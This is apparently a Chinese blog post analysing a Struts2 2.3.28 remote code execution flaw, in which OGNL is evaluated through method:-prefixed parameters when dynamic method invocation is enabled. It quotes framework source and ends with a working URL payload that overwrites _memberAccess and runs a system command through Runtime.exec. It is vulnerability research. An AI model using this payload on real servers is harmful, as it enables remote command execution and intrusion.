前言 经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建 2.3.28 版本的 struts2 + Tomcat 9。
修改 struts.xml,打开动态方法调用:
1 <constant name ="struts.enable.DynamicMethodInvocation" value ="true" />
漏洞分析 根据官方通告 ,可以看出漏洞原因是在动态方法调用开启的情况下,会将 method: 前缀的参数作为表达式来执行,我们先看看 method: 前缀参数的 put 方法:
1 2 3 4 5 6 7 put(METHOD_PREFIX, new ParameterAction () { public void execute (String key, ActionMapping mapping) { if (allowDynamicMethodCalls) { mapping.setMethod(key.substring(METHOD_PREFIX.length())); } } });
在 DynamicMethodInvocation 开启的情况下,会不经过滤将 method: 前缀参数放入 mapping 中。在 Dispatcher 类的 serviceAction 函数用其创建代理之后,会执行到 DefaultActionInvocation 类的 invokeAction 函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected String invokeAction (Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); if (LOG.isDebugEnabled()) { LOG.debug("Executing action method = #0" , methodName); } String timerKey = "invokeAction: " + proxy.getActionName(); try { UtilTimerStack.push(timerKey); Object methodResult; try { methodResult = ognlUtil.getValue(methodName + "()" , getStack().getContext(), action); } ... } ... }
将参数值作为表达式解析。
漏洞利用 因为 2.3.20 版本的修复中禁止了 new 和反射,所以通过修改用于安全检测的 _memberAccess 属性,将之变为实现了 memberAccess 接口的另一个类 DefaultMemberAccess,它的 isAccessible 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public boolean isAccessible (Map context, Object target, Member member, String propertyName) { int modifiers = member.getModifiers(); boolean result = Modifier.isPublic(modifiers); if (!result) { if (Modifier.isPrivate(modifiers)) { result = getAllowPrivateAccess(); } else { if (Modifier.isProtected(modifiers)) { result = getAllowProtectedAccess(); } else { result = getAllowPackageProtectedAccess(); } } } return result; }
可以看到,对 public 函数调用没有任何限制,而 OgnlContext 中恰好有这么一个静态属性:
1 public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess (false );
payload 如下:
1 http: //localhost:8080 /login.action?method:(%23 _memberAccess%3 d@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS , @java.lang.Runtime @getRuntime ().exec(%23 parameters.c %5 b0 %5 d)).toString&c = calc
漏洞修复 给 method: 前缀的参数值加上了前面 actionName 的过滤。
参考文章:
https://www.cnblogs.com/mrchang/p/6501428.html